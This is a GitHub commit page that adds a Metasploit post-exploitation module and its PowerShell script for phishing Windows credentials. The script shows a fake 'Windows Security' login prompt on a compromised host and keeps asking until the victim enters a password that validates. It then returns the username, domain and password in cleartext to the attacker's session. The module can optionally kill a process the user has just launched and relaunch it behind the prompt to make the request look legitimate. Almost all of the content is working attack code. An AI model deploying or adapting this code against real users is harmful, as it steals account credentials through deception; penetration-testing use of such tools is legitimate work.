Skip to content

Commit 5b2eb98

Browse files
committed
Land rapid7#4678 Add post module to phish credentials
2 parents 434bca0 + 904a999 commit 5b2eb98

File tree

2 files changed

+146
-0
lines changed

2 files changed

+146
-0
lines changed
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
function Invoke-LoginPrompt{
2+
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
3+
$username = "$env:username"
4+
$domain = "$env:userdomain"
5+
$full = "$domain" + "\" + "$username"
6+
$password = $cred.GetNetworkCredential().password
7+
Add-Type -assemblyname System.DirectoryServices.AccountManagement
8+
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
9+
while($DS.ValidateCredentials("$full","$password") -ne $True){
10+
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
11+
$username = "$env:username"
12+
$domain = "$env:userdomain"
13+
$full = "$domain" + "\" + "$username"
14+
$password = $cred.GetNetworkCredential().password
15+
Add-Type -assemblyname System.DirectoryServices.AccountManagement
16+
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
17+
$DS.ValidateCredentials("$full", "$password") | out-null
18+
}
19+
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
20+
$output
21+
R{START_PROCESS}
22+
}
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Post
9+
include Msf::Post::Windows::Registry
10+
include Msf::Post::Windows::Powershell
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => 'Windows Gather User Credentials (phishing)',
15+
'Description' => %q{
16+
This module is able to perform a phishing attack on the target by popping up a loginprompt.
17+
When the user fills credentials in the loginprompt, the credentials will be sent to the attacker.
18+
The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' =>
22+
[
23+
'Wesley Neelen <security[at]forsec.nl/@wez3forsec>', # Metasploit module
24+
'Matt Nelson (@enigma0x3)' # Author original powershell script
25+
],
26+
'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ],
27+
'Platform' => [ 'win' ],
28+
'Arch' => [ 'x86', 'x64' ],
29+
'SessionTypes' => [ 'meterpreter' ]
30+
))
31+
32+
register_options(
33+
[
34+
OptString.new('PROCESS', [ false, 'Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)' ]),
35+
OptString.new('DESCRIPTION', [ true, 'Message shown in the loginprompt', "{PROCESS_NAME} needs your permissions to start. Please enter user credentials"]),
36+
], self.class)
37+
38+
register_advanced_options(
39+
[
40+
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120])
41+
], self.class)
42+
end
43+
44+
# Function to run the InvokePrompt powershell script
45+
def execute_invokeprompt_script(description,process,path)
46+
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "Invoke-LoginPrompt.ps1"))
47+
if process.nil?
48+
sdescription = description.gsub("{PROCESS_NAME} needs your permissions to start. ", "")
49+
psh_script = base_script.gsub("R{DESCRIPTION}", "#{sdescription}") << "Invoke-LoginPrompt"
50+
else
51+
sdescription = description.gsub("{PROCESS_NAME}", process)
52+
psh_script2 = base_script.gsub("R{DESCRIPTION}", "#{sdescription}") << "Invoke-LoginPrompt"
53+
psh_script = psh_script2.gsub("R{START_PROCESS}", "start-process \"#{path}\"")
54+
end
55+
compressed_script = compress_script(psh_script)
56+
cmd_out, runnings_pids, open_channels = execute_script(compressed_script, datastore['TIMEOUT'])
57+
while(d = cmd_out.channel.read)
58+
print_good("#{d}")
59+
end
60+
end
61+
62+
# Function to monitor process creation
63+
def procmon(process, description)
64+
procs = []
65+
existingProcs = []
66+
detected = false
67+
first = true
68+
print_status("Monitoring new processes.")
69+
while detected == false
70+
sleep 1
71+
procs = client.sys.process.processes
72+
procs.each do |p|
73+
if p['name'] == process or process == "*"
74+
if first == true
75+
print_status("#{p['name']} is already running. Waiting on new instances to start")
76+
existingProcs.push(p['pid'])
77+
else
78+
if !existingProcs.include? p['pid']
79+
print_status("New process detected: #{p['pid']} #{p['name']}")
80+
killproc(p['name'],p['pid'], description,p['path'])
81+
detected = true
82+
end
83+
end
84+
end
85+
end
86+
first = false
87+
end
88+
end
89+
90+
# Function to kill the process
91+
def killproc(process,pid,description,path)
92+
print_status("Killing the process and starting the popup script. Waiting on the user to fill in his credentials...")
93+
client.sys.process.kill(pid)
94+
execute_invokeprompt_script(description,process,path)
95+
end
96+
97+
# Main method
98+
def run
99+
process = datastore['PROCESS']
100+
description = datastore['DESCRIPTION']
101+
102+
# Powershell installed check
103+
if have_powershell?
104+
print_good("PowerShell is installed.")
105+
else
106+
fail_with(Failure::Unknown, "PowerShell is not installed")
107+
end
108+
109+
# Check whether target system is locked
110+
locked = client.railgun.user32.GetForegroundWindow()['return']
111+
if locked == 0
112+
fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked")
113+
end
114+
115+
# Switch to check whether a specific process needs to be monitored, or just show the popup immediatly.
116+
case process
117+
when nil
118+
print_status("Starting the popup script. Waiting on the user to fill in his credentials...")
119+
execute_invokeprompt_script(description, nil, nil)
120+
else
121+
procmon(process, description)
122+
end
123+
end
124+
end

0 commit comments

Comments
 (0)